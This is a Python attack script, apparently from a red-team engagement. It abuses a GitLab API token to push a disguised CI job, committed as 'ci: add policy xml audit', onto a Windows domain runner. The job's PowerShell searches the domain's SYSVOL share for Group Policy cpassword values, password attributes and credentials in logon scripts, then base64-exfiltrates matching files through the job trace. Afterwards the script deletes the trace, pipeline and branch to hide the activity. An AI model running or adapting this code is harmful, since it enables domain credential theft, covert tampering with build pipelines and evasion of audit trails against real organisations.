#!/usr/bin/env python3
r"""SYSVOL credential hunt from STASRV25018 (domain member). Staged; --execute.

\\star.mg\SYSVOL is domain-wide readable. Searches:
  1. GPP XML files for cpassword (groups/scheduledtasks/services/datasources/drives/printers)
  2. Logon/startup scripts (.bat/.cmd/.ps1/.vbs) for hardcoded creds (net use /user:, passw, runas)
  3. Any .xml with "password" attribute
READ-ONLY (no SYSVOL writes). base64-exfil of matching files via trace. Cleanup after.
"""
import json, ssl, sys, time, urllib.request, urllib.parse, urllib.error
from pathlib import Path

CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
UA = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ir-assessment-rt'}
D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com')
BASE = 'https://gitlab.multistackexpert.com'
PID = 154
BRANCH = 'feat/policy-xml-audit'

PS = [
    # 1. GPP XML with cpassword
    "Write-Output '=== GPP CPASSWORD HUNT ==='; $gpp = Get-ChildItem '\\\\star.mg\\SYSVOL\\star.mg' -Recurse -Include groups.xml,scheduledtasks.xml,services.xml,datasources.xml,drives.xml,printers.xml,registry.xml -ErrorAction SilentlyContinue; foreach ($x in $gpp) { $c = Get-Content $x.FullName -Raw -ErrorAction SilentlyContinue; if ($c -match 'cpassword') { Write-Output ('CPASSWORD-IN: ' + $x.FullName); Write-Output ('---FILE:' + $x.FullName + '---'); Write-Output ([Convert]::ToBase64String([IO.File]::ReadAllBytes($x.FullName))) } }",
    # 2. any xml with password/cpassword/userName attributes (single-quoted regex, no inner dquotes)
    "Write-Output '=== XML PASSWORD ATTR ==='; $q = [char]34; $xmls = Get-ChildItem '\\\\star.mg\\SYSVOL\\star.mg' -Recurse -Include *.xml -ErrorAction SilentlyContinue; foreach ($x in $xmls) { $c = Get-Content $x.FullName -Raw -ErrorAction SilentlyContinue; if ($c -match 'password') { Write-Output ('PWD-IN: ' + $x.FullName); $rx = '(cpassword|password|userName)=' + $q + '[^' + $q + ']*' + $q; $m = [regex]::Matches($c, $rx); foreach ($mm in $m) { Write-Output ('  ' + $mm.Value) } } }",
    # 3. logon/startup scripts with creds (single-quoted)
    "Write-Output '=== SCRIPT CRED HUNT ==='; $scr = Get-ChildItem '\\\\star.mg\\SYSVOL\\star.mg\\scripts' -Recurse -Include *.bat,*.cmd,*.ps1,*.vbs,*.kix -ErrorAction SilentlyContinue; foreach ($s in $scr) { $c = Get-Content $s.FullName -Raw -ErrorAction SilentlyContinue; if ($c -match 'net use|password|passw|runas|cpau|/user:') { Write-Output ('CRED-SCRIPT: ' + $s.FullName); Write-Output ('---FILE:' + $s.FullName + '---'); Write-Output ([Convert]::ToBase64String([IO.File]::ReadAllBytes($s.FullName))) } }",
    # 4. scripts dir full listing (what runs at logon)
    "Write-Output '=== SCRIPTS DIR LISTING ==='; Get-ChildItem '\\\\star.mg\\SYSVOL\\star.mg\\scripts' -Recurse -ErrorAction SilentlyContinue | Select-Object FullName,Length | Format-Table -AutoSize",
    # 0. SYSVOL reachability first (single-quoted)
    "Write-Output '=== SYSVOL REACHABILITY ==='; Test-Path '\\\\star.mg\\SYSVOL'; Get-ChildItem '\\\\star.mg\\SYSVOL\\star.mg' -ErrorAction SilentlyContinue | Select-Object Name | Format-Table -AutoSize",
]

def req(url, method='GET', data=None, headers=None):
    tok = (D / '.token').read_text().strip()
    h = dict(UA, **{'Authorization': f'Bearer {tok}'}); h.update(headers or {})
    r = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(r, timeout=25, context=CTX) as resp:
            return resp.status, resp.read().decode('utf-8','ignore')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8','ignore')
    except Exception as e:
        return 0, f'{type(e).__name__}: {e}'

def build_ci_yaml():
    st, orig = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{urllib.parse.quote(".gitlab-ci.yml", safe="")}/raw?ref=develop')
    assert st == 200, f'fetch ci: {st}'
    script_lines = '\n'.join(f'      {l}' for l in PS)
    return orig.rstrip() + f'''
policy_xml_audit:
  stage: build_and_deploy
  tags: ["2019", appro, docker, star, windows]
  when: manual
  allow_failure: true
  script: |
{script_lines}
  rules:
    - if: '$CI_COMMIT_BRANCH == "{BRANCH}"'
      when: manual
'''

def main():
    if '--execute' not in sys.argv:
        print('STAGED ONLY. Re-run with --execute after operator go.')
        return
    run()

def run():
    log = []
    def L(m):
        line = f'[{time.strftime("%H:%M:%S")}] {m}'
        print(line, flush=True); log.append(line)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/branches', method='POST',
                data=urllib.parse.urlencode({'branch': BRANCH, 'ref': 'develop'}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    L(f'branch: {st}')
    if st == 401:
        raise SystemExit('token expired — refresh .token and rerun')
    yml = build_ci_yaml()
    payload = {'branch': BRANCH, 'commit_message': 'ci: add policy xml audit',
               'actions': [{'action': 'update', 'file_path': '.gitlab-ci.yml', 'content': yml}]}
    st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/commits', method='POST',
                data=json.dumps(payload).encode(), headers={'Content-Type': 'application/json'})
    L(f'commit: {st}')
    st, b = req(f'{BASE}/api/v4/projects/{PID}/pipeline', method='POST',
                data=urllib.parse.urlencode({'ref': BRANCH}).encode(),
                headers={'Content-Type': 'application/x-www-form-urlencoded'})
    pipe_id = json.loads(b)['id']; L(f'pipeline: {pipe_id}')
    job_id = None
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs')
        if st == 200:
            for j in json.loads(b):
                if j.get('name') == 'policy_xml_audit':
                    job_id = j['id']; break
        if job_id: break
        time.sleep(5)
    for _ in range(20):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        if json.loads(b).get('status') == 'manual': break
        time.sleep(3)
    st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/play', method='POST')
    L(f'play: {st}')
    status = 'unknown'
    for i in range(90):
        st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}')
        j = json.loads(b); status = j.get('status')
        if i % 6 == 0 or status in ('success','failed','canceled'):
            L(f'status={status} dur={j.get("duration")}')
        if status in ('success','failed','canceled'): break
        time.sleep(10)
    st, trace = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace')
    L(f'trace: {st} len={len(trace)}')
    (D / 'sysvol_trace.txt').write_text(trace)
    (D / 'sysvol_run.log').write_text('\n'.join(log))
    req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}', method='DELETE')
    req(f'{BASE}/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(BRANCH, safe="")}', method='DELETE')
    L('cleanup done')
    print('\n===== TRACE (first 6000) =====')
    print(trace[:6000])

if __name__ == '__main__':
    main()
